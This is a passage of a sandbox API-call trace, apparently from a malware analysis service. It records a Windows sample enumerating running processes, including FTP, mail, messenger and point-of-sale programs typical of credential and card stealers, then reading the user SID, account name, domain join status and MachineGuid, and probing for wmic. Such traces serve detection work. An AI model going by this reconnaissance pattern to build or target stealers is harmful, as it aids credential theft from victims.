lppe=0xc00019f8b0 | out: lppe=0xc00019f8b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x994, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x778, pcPriClassBase=8, dwFlags=0x0, szExeFile="speak.exe")) returned 1 [0142.547] Process32NextW (in: hSnapshot=0x144, lppe=0xc00019f8b0 | out: lppe=0xc00019f8b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x9a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x778, pcPriClassBase=8, dwFlags=0x0, szExeFile="manage agreement step.exe")) returned 1 [0142.549] Process32NextW (in: hSnapshot=0x144, lppe=0xc00019f8b0 | out: lppe=0xc00019f8b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x9ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x778, pcPriClassBase=8, dwFlags=0x0, szExeFile="avoid.exe")) returned 1 [0142.573] Process32NextW (in: hSnapshot=0x144, lppe=0xc00019f8b0 | out: lppe=0xc00019f8b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x9b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x778, pcPriClassBase=8, dwFlags=0x0, szExeFile="others_set_heavy.exe")) returned 1 [0142.574] Process32NextW (in: hSnapshot=0x144, lppe=0xc00019f8b0 | out: lppe=0xc00019f8b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xb60, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x778, pcPriClassBase=8, dwFlags=0x0, szExeFile="absolutetelnet.exe")) returned 1 [0142.575] Process32NextW (in: hSnapshot=0x144, lppe=0xc00019f8b0 | out: lppe=0xc00019f8b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xb68, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x778, pcPriClassBase=8, dwFlags=0x0, szExeFile="alftp.exe")) returned 1 [0142.592] Process32NextW (in: hSnapshot=0x144, lppe=0xc00019f8b0 | out: lppe=0xc00019f8b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xb70, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x778, pcPriClassBase=8, dwFlags=0x0, szExeFile="barca.exe")) returned 1 [0142.593] Process32NextW (in: hSnapshot=0x144, lppe=0xc00019f8b0 | out: lppe=0xc00019f8b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xb78, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x778, pcPriClassBase=8, dwFlags=0x0, szExeFile="bitkinex.exe")) returned 1 [0142.595] Process32NextW (in: hSnapshot=0x144, lppe=0xc00019f8b0 | out: lppe=0xc00019f8b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xb80, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x778, pcPriClassBase=8, dwFlags=0x0, szExeFile="coreftp.exe")) returned 1 [0142.596] Process32NextW (in: hSnapshot=0x144, lppe=0xc00019f8b0 | out: lppe=0xc00019f8b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xb88, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x778, pcPriClassBase=8, dwFlags=0x0, szExeFile="far.exe")) returned 1 [0142.601] Process32NextW (in: hSnapshot=0x144, lppe=0xc00019f8b0 | out: lppe=0xc00019f8b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xb90, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x778, pcPriClassBase=8, dwFlags=0x0, szExeFile="filezilla.exe")) returned 1 [0142.602] Process32NextW (in: hSnapshot=0x144, lppe=0xc00019f8b0 | out: lppe=0xc00019f8b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xb98, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x778, pcPriClassBase=8, dwFlags=0x0, szExeFile="flashfxp.exe")) returned 1 [0142.605] Process32NextW (in: hSnapshot=0x144, lppe=0xc00019f8b0 | out: lppe=0xc00019f8b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xba0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x778, pcPriClassBase=8, dwFlags=0x0, szExeFile="fling.exe")) returned 1 [0142.607] Process32NextW (in: hSnapshot=0x144, lppe=0xc00019f8b0 | out: lppe=0xc00019f8b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xba8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x778, pcPriClassBase=8, dwFlags=0x0, szExeFile="foxmailincmail.exe")) returned 1 [0142.610] Process32NextW (in: hSnapshot=0x144, lppe=0xc00019f8b0 | out: lppe=0xc00019f8b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xbb0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x778, pcPriClassBase=8, dwFlags=0x0, szExeFile="gmailnotifierpro.exe")) returned 1 [0142.612] Process32NextW (in: hSnapshot=0x144, lppe=0xc00019f8b0 | out: lppe=0xc00019f8b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xbb8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x778, pcPriClassBase=8, dwFlags=0x0, szExeFile="icq.exe")) returned 1 [0142.615] Process32NextW (in: hSnapshot=0x144, lppe=0xc00019f8b0 | out: lppe=0xc00019f8b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xbc0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x778, pcPriClassBase=8, dwFlags=0x0, szExeFile="leechftp.exe")) returned 1 [0142.617] Process32NextW (in: hSnapshot=0x144, lppe=0xc00019f8b0 | out: lppe=0xc00019f8b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xbc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x778, pcPriClassBase=8, dwFlags=0x0, szExeFile="ncftp.exe")) returned 1 [0142.621] Process32NextW (in: hSnapshot=0x144, lppe=0xc00019f8b0 | out: lppe=0xc00019f8b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xbd4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x778, pcPriClassBase=8, dwFlags=0x0, szExeFile="notepad.exe")) returned 1 [0142.624] Process32NextW (in: hSnapshot=0x144, lppe=0xc00019f8b0 | out: lppe=0xc00019f8b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xbe0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x778, pcPriClassBase=8, dwFlags=0x0, szExeFile="operamail.exe")) returned 1 [0142.626] Process32NextW (in: hSnapshot=0x144, lppe=0xc00019f8b0 | out: lppe=0xc00019f8b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xbe8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x778, pcPriClassBase=8, dwFlags=0x0, szExeFile="outlook.exe")) returned 1 [0142.628] Process32NextW (in: hSnapshot=0x144, lppe=0xc00019f8b0 | out: lppe=0xc00019f8b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xbf0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x778, pcPriClassBase=8, dwFlags=0x0, szExeFile="pidgin.exe")) returned 1 [0142.631] Process32NextW (in: hSnapshot=0x144, lppe=0xc00019f8b0 | out: lppe=0xc00019f8b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xbf8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x778, pcPriClassBase=8, dwFlags=0x0, szExeFile="scriptftp.exe")) returned 1 [0142.633] Process32NextW (in: hSnapshot=0x144, lppe=0xc00019f8b0 | out: lppe=0xc00019f8b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x804, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x778, pcPriClassBase=8, dwFlags=0x0, szExeFile="skype.exe")) returned 1 [0142.636] Process32NextW (in: hSnapshot=0x144, lppe=0xc00019f8b0 | out: lppe=0xc00019f8b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x818, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x778, pcPriClassBase=8, dwFlags=0x0, szExeFile="smartftp.exe")) returned 1 [0142.639] Process32NextW (in: hSnapshot=0x144, lppe=0xc00019f8b0 | out: lppe=0xc00019f8b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x54c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x778, pcPriClassBase=8, dwFlags=0x0, szExeFile="thunderbird.exe")) returned 1 [0142.641] Process32NextW (in: hSnapshot=0x144, lppe=0xc00019f8b0 | out: lppe=0xc00019f8b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x324, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x778, pcPriClassBase=8, dwFlags=0x0, szExeFile="trillian.exe")) returned 1 [0142.644] Process32NextW (in: hSnapshot=0x144, lppe=0xc00019f8b0 | out: lppe=0xc00019f8b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x82c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x778, pcPriClassBase=8, dwFlags=0x0, szExeFile="webdrive.exe")) returned 1 [0142.646] Process32NextW (in: hSnapshot=0x144, lppe=0xc00019f8b0 | out: lppe=0xc00019f8b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x844, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x778, pcPriClassBase=8, dwFlags=0x0, szExeFile="whatsapp.exe")) returned 1 [0142.648] Process32NextW (in: hSnapshot=0x144, lppe=0xc00019f8b0 | out: lppe=0xc00019f8b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x610, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x778, pcPriClassBase=8, dwFlags=0x0, szExeFile="winscp.exe")) returned 1 [0142.651] Process32NextW (in: hSnapshot=0x144, lppe=0xc00019f8b0 | out: lppe=0xc00019f8b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x4d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x778, pcPriClassBase=8, dwFlags=0x0, szExeFile="yahoomessenger.exe")) returned 1 [0142.653] Process32NextW (in: hSnapshot=0x144, lppe=0xc00019f8b0 | out: lppe=0xc00019f8b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x84c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x778, pcPriClassBase=8, dwFlags=0x0, szExeFile="active-charge.exe")) returned 1 [0142.655] Process32NextW (in: hSnapshot=0x144, lppe=0xc00019f8b0 | out: lppe=0xc00019f8b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x838, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x778, pcPriClassBase=8, dwFlags=0x0, szExeFile="accupos.exe")) returned 1 [0142.658] Process32NextW (in: hSnapshot=0x144, lppe=0xc00019f8b0 | out: lppe=0xc00019f8b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x8c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x778, pcPriClassBase=8, dwFlags=0x0, szExeFile="afr38.exe")) returned 1 [0142.660] Process32NextW (in: hSnapshot=0x144, lppe=0xc00019f8b0 | out: lppe=0xc00019f8b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x8d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x778, pcPriClassBase=8, dwFlags=0x0, szExeFile="aldelo.exe")) returned 1 [0142.662] Process32NextW (in: hSnapshot=0x144, lppe=0xc00019f8b0 | out: lppe=0xc00019f8b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x8d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x778, pcPriClassBase=8, dwFlags=0x0, szExeFile="ccv_server.exe")) returned 1 [0142.664] Process32NextW (in: hSnapshot=0x144, lppe=0xc00019f8b0 | out: lppe=0xc00019f8b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x8e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x778, pcPriClassBase=8, dwFlags=0x0, szExeFile="centralcreditcard.exe")) returned 1 [0143.838] VirtualAlloc (lpAddress=0xc000050000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc000050000 [0143.839] CloseHandle (hObject=0x144) returned 1 [0143.840] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0xf6c) returned 0x144 [0143.851] Process32FirstW (in: hSnapshot=0x144, lppe=0xc00019f8b0 | out: lppe=0xc00019f8b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0144.134] GetCurrentProcess () returned 0xffffffffffffffff [0144.159] OpenProcessToken (in: ProcessHandle=0xffffffffffffffff, DesiredAccess=0x8, TokenHandle=0xc00019f9c0 | out: TokenHandle=0xc00019f9c0*=0x144) returned 1 [0144.160] GetProcAddress (hModule=0x7feff870000, lpProcName="GetTokenInformation") returned 0x7feff88bd50 [0144.225] GetTokenInformation (in: TokenHandle=0x144, TokenInformationClass=0x1, TokenInformation=0xc0000a2500, TokenInformationLength=0x32, ReturnLength=0xc00019f99c | out: TokenInformation=0xc0000a2500, ReturnLength=0xc00019f99c) returned 1 [0144.226] GetTokenInformation (in: TokenHandle=0x144, TokenInformationClass=0x5, TokenInformation=0xc0000a2540, TokenInformationLength=0x32, ReturnLength=0xc00019f99c | out: TokenInformation=0xc0000a2540, ReturnLength=0xc00019f99c) returned 1 [0144.281] GetProcAddress (hModule=0x7feff870000, lpProcName="ConvertSidToStringSidW") returned 0x7feff88bf70 [0144.282] ConvertSidToStringSidW (in: Sid=0xc0000a2510*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), StringSid=0xc00019f998 | out: StringSid=0xc00019f998*="S-1-5-21-4219442223-4223814209-3835049652-1000") returned 1 [0144.282] VirtualAlloc (lpAddress=0xc0000d4000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc0000d4000 [0144.303] GetProcAddress (hModule=0x77660000, lpProcName="LocalFree") returned 0x77673c40 [0144.303] LocalFree (hMem=0x2c5f50) returned 0x0 [0144.303] ConvertSidToStringSidW (in: Sid=0xc0000a2548*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), StringSid=0xc00019f998 | out: StringSid=0xc00019f998*="S-1-5-21-4219442223-4223814209-3835049652-513") returned 1 [0144.303] LocalFree (hMem=0x2c5f50) returned 0x0 [0144.303] VirtualAlloc (lpAddress=0xc0000d6000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc0000d6000 [0144.345] LoadLibraryExW (lpLibFileName="userenv.dll", hFile=0x0, dwFlags=0x800) returned 0x7fefcb70000 [0144.381] GetProcAddress (hModule=0x7fefcb70000, lpProcName="GetUserProfileDirectoryW") returned 0x7fefcb71bf0 [0144.382] GetUserProfileDirectoryW () returned 0x1 [0144.385] GetProcAddress (hModule=0x7feff870000, lpProcName="LookupAccountSidW") returned 0x7feff88b898 [0144.385] LookupAccountSidW (in: lpSystemName=0x0, Sid=0xc0000a2510*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), Name=0xc00001c0e0, cchName=0xc00019f920, ReferencedDomainName=0xc00001c150, cchReferencedDomainName=0xc00019f91c, peUse=0xc00019f918 | out: Name="kEecfMwgj", cchName=0xc00019f920, ReferencedDomainName="Q9IATRKPRH", cchReferencedDomainName=0xc00019f91c, peUse=0xc00019f918) returned 1 [0144.394] LoadLibraryExW (lpLibFileName="netapi32.dll", hFile=0x0, dwFlags=0x800) returned 0x7fefba20000 [0144.425] GetProcAddress (hModule=0x7fefba20000, lpProcName="NetGetJoinInformation") returned 0x7fefb9f19bc [0144.426] NetGetJoinInformation (in: lpServer=0x0, lpNameBuffer=0xc00019f928, BufferType=0xc00019f924 | out: lpNameBuffer=0xc00019f928*="WORKGROUP", BufferType=0xc00019f924) returned 0x0 [0144.442] GetProcAddress (hModule=0x7fefba20000, lpProcName="NetApiBufferFree") returned 0x7fefba11010 [0144.443] NetApiBufferFree (Buffer=0x2c2ae0) returned 0x0 [0144.443] GetProcAddress (hModule=0x7fefba20000, lpProcName="NetUserGetInfo") returned 0x7fefb9d1354 [0144.453] NetUserGetInfo (in: servername="Q9IATRKPRH", username="kEecfMwgj", level=0xa, bufptr=0xc00019f8f0 | out: bufptr=0x2b8bf0*(usri10_name="kEecfMwgj", usri10_comment="", usri10_usr_comment="", usri10_full_name="")) returned 0x0 [0144.632] NetApiBufferFree (Buffer=0x2b8bf0) returned 0x0 [0144.660] CloseHandle (hObject=0x144) returned 1 [0144.764] VirtualAlloc (lpAddress=0xc000052000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc000052000 [0144.768] GetProcAddress (hModule=0x7feff870000, lpProcName="RegOpenKeyExW") returned 0x7feff8906f0 [0144.768] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Cryptography", ulOptions=0x0, samDesired=0x101, phkResult=0xc00019faf0 | out: phkResult=0xc00019faf0*=0x144) returned 0x0 [0144.769] GetProcAddress (hModule=0x7feff870000, lpProcName="RegQueryValueExW") returned 0x7feff88c2d0 [0144.769] RegQueryValueExW (in: hKey=0x144, lpValueName="MachineGuid", lpReserved=0x0, lpType=0xc00019fa3c, lpData=0xc00019fac0, lpcbData=0xc00019fa38*=0x40 | out: lpType=0xc00019fa3c*=0x1, lpData=0xc00019fac0*=0x0, lpcbData=0xc00019fa38*=0x4a) returned 0xea [0144.790] RegQueryValueExW (in: hKey=0x144, lpValueName="MachineGuid", lpReserved=0x0, lpType=0xc00019fa3c, lpData=0xc00001a320, lpcbData=0xc00019fa38*=0x4a | out: lpType=0xc00019fa3c*=0x1, lpData="b9c8f16e-2e51-4052-9ecb-f86ae5d96ef6", lpcbData=0xc00019fa38*=0x4a) returned 0x0 [0144.790] GetProcAddress (hModule=0x7feff870000, lpProcName="RegCloseKey") returned 0x7feff890710 [0144.790] RegCloseKey (hKey=0x144) returned 0x0 [0144.811] VirtualAlloc (lpAddress=0xc000054000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc000054000 [0145.019] VirtualAlloc (lpAddress=0xc000056000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc000056000 [0145.019] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0xc000056000, nSize=0x64 | out: lpBuffer="") returned 0x35 [0145.019] VirtualAlloc (lpAddress=0xc000058000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc000058000 [0145.020] VirtualAlloc (lpAddress=0xc00005a000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc00005a000 [0145.021] VirtualAlloc (lpAddress=0xc00005c000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc00005c000 [0145.021] GetEnvironmentVariableW (in: lpName="NoDefaultCurrentDirectoryInExePath", lpBuffer=0xc0000560d0, nSize=0x64 | out: lpBuffer="") returned 0x0 [0145.234] GetProcAddress (hModule=0x77660000, lpProcName="GetFileAttributesExW") returned 0x7766ac40 [0145.234] GetFileAttributesExW (in: lpFileName="wmic.com" (normalized: "c:\\users\\keecfmwgj\\desktop\\wmic.com"), fInfoLevelId=0x0, lpFileInformation=0xc00019f548 | out: lpFileInformation=0xc00019f548*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0145.237] GetProcAddress (hModule=0x77660000, lpProcName="CreateFileW") returned 0x77670d10 [0145.238] CreateFileW (lpFileName="wmic.com" (normalized: "c:\\users\\keecfmwgj\\desktop\\wmic.com"), dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffffffffffff [0145.273] GetFileAttributesExW (in: lpFileName="wmic.exe" (normalized: "c:\\users\\keecfmwgj\\desktop\\wmic.exe"), fInfoLevelId=0x0, lpFileInformation=0xc00019f548 | out: lpFileInformation=0xc00019f548*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0145.274] CreateFileW (lpFileName="wmic.exe" (normalized: "c:\\users\\keecfmwgj\\desktop\\wmic.exe"), dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffffffffffff [0145.274] GetFileAttributesExW (in: lpFileName="wmic.bat" (normalized: "c:\\users\\keecfmwgj\\desktop\\wmic.bat"), fInfoLevelId=0x0, lpFileInformation=0xc00019f548 | out: lpFileInformation=0xc00019f548*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0145.274] CreateFileW (lpFileName="wmic.bat" (normalized: "c:\\users\\keecfmwgj\\desktop\\wmic.bat"), dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffffffffffff [0145.274] GetFileAttributesExW (in: lpFileName="wmic.cmd" (normalized: "c:\\users\\keecfmwgj\\desktop\\wmic.cmd"), fInfoLevelId=0x0, lpFileInformation=0xc00019f548 | out: lpFileInformation=0xc00019f548*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0145.275] CreateFileW (lpFileName="wmic.cmd" (normalized: "c:\\users\\keecfmwgj\\desktop\\wmic.cmd"), dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffffffffffff [0145.275] GetFileAttributesExW (in: lpFileName="wmic.vbs" (normalized: "c:\\users\\keecfmwgj\\desktop\\wmic.vbs"), fInfoLevelId=0x0, lpFileInformation=0xc00019f548 | out: lpFileInformation=0xc00019f548*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0145.275] CreateFileW (lpFileName="wmic.vbs" (normalized: "c:\\users\\keecfmwgj\\desktop\\wmic.vbs"), dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffffffffffff [0145.275] GetFileAttributesExW (in: lpFileName="wmic.vbe" (normalized: "c:\\users\\keecfmwgj\\desktop\\wmic.vbe"), fInfoLevelId=0x0, lpFileInformation=0xc00019f548 | out: lpFileInformation=0xc00019f548*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0145.276] CreateFileW (lpFileName="wmic.vbe" (normalized: "c:\\users\\keecfmwgj\\desktop\\wmic.vbe"), dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffffffffffff [0145.276] GetFileAttributesExW (in: lpFileName="wmic.js" (normalized: "c:\\users\\keecfmwgj\\desktop\\wmic.js"), fInfoLevelId=0x0, lpFileInformation=0xc00019f548 | out: lpFileInformation=0xc00019f548*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0145.276] CreateFileW (lpFileName="wmic.js" (normalized: "c:\\users\\keecfmwgj\\desktop\\wmic.js"), dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffffffffffff [0145.276] GetFileAttributesExW (in: lpFileName="wmic.jse" (normalized: "c:\\users\\keecfmwgj\\desktop\\wmic.jse"), fInfoLevelId=0x0, lpFileInformation=0xc00019f548 | out: lpFileInformation=0xc00019f548*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0145.276] CreateFileW (lpFileName="wmic.jse" (normalized: "c:\\users\\keecfmwgj\\desktop\\wmic.jse"), dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffffffffffff [0145.276] GetFileAttributesExW (in: lpFileName="wmic.wsf" (normalized: "c:\\users\\keecfmwgj\\desktop\\wmic.wsf"), fInfoLevelId=0x0, lpFileInformation=0xc00019f548 | out: lpFileInformation=0xc00019f548*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0145.277] CreateFileW (lpFileName="wmic.wsf" (normalized: "c:\\users\\keecfmwgj\\desktop\\wmic.wsf"), dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffffffffffff [0145.277] GetFileAttributesExW (in: lpFileName="wmic.wsh" (normalized: "c:\\users\\keecfmwgj\\desktop\\wmic.wsh"), fInfoLevelId=0x0, lpFileInformation=0xc00019f548 | out: lpFileInformation=0xc00019f548*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, 